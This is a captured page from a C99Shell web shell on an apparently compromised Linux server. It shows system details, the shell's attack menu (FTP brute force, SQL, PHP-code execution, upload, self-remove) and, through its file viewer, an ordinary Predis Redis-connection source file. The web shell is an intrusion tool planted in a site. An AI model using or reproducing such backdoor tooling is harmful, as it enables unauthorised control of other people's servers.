!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/predis/predis/src/Connection/   drwxr-xr-x
Free 28.69 GB of 117.98 GB (24.31%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CompositeStreamConnection.php (2.9 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Predis package.
 *
 * (c) 2009-2020 Daniele Alessandri
 * (c) 2021-2025 Till Krüss
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Predis\Connection;

use 
InvalidArgumentException;
use 
Predis\Command\CommandInterface;
use 
Predis\Protocol\ProtocolProcessorInterface;
use 
Predis\Protocol\Text\ProtocolProcessor as TextProtocolProcessor;

/**
 * Connection abstraction to Redis servers based on PHP's stream that uses an
 * external protocol processor defining the protocol used for the communication.
 */
class CompositeStreamConnection extends StreamConnection implements CompositeConnectionInterface
{
    protected 
$protocol;

    
/**
     * @param ParametersInterface             $parameters Initialization parameters for the connection.
     * @param ProtocolProcessorInterface|null $protocol   Protocol processor.
     */
    
public function __construct(
        
ParametersInterface $parameters,
        ?
ProtocolProcessorInterface $protocol null
    
) {
        
$this->parameters $this->assertParameters($parameters);
        
$this->protocol $protocol ?: new TextProtocolProcessor();
    }

    
/**
     * {@inheritdoc}
     */
    
public function getProtocol()
    {
        return 
$this->protocol;
    }

    
/**
     * {@inheritdoc}
     */
    
public function writeBuffer($buffer)
    {
        
$this->write($buffer);
    }

    
/**
     * {@inheritdoc}
     */
    
public function readBuffer($length)
    {
        if (
$length <= 0) {
            throw new 
InvalidArgumentException('Length parameter must be greater than 0.');
        }

        
$value '';
        
$socket $this->getResource();

        do {
            
$chunk fread($socket$length);

            if (
$chunk === false || $chunk === '') {
                
$this->onConnectionError('Error while reading bytes from the server.');
            }

            
$value .= $chunk;
        } while ((
$length -= strlen($chunk)) > 0);

        return 
$value;
    }

    
/**
     * {@inheritdoc}
     */
    
public function readLine()
    {
        
$value '';
        
$socket $this->getResource();

        do {
            
$chunk fgets($socket);

            if (
$chunk === false || $chunk === '') {
                
$this->onConnectionError('Error while reading line from the server.');
            }

            
$value .= $chunk;
        } while (
substr($value, -2) !== "\r\n");

        return 
substr($value0, -2);
    }

    
/**
     * {@inheritdoc}
     */
    
public function writeRequest(CommandInterface $command)
    {
        
$this->protocol->write($this$command);
    }

    
/**
     * {@inheritdoc}
     */
    
public function read()
    {
        return 
$this->protocol->read($this);
    }

    
/**
     * {@inheritdoc}
     */
    
public function __sleep()
    {
        return 
array_merge(parent::__sleep(), ['protocol']);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--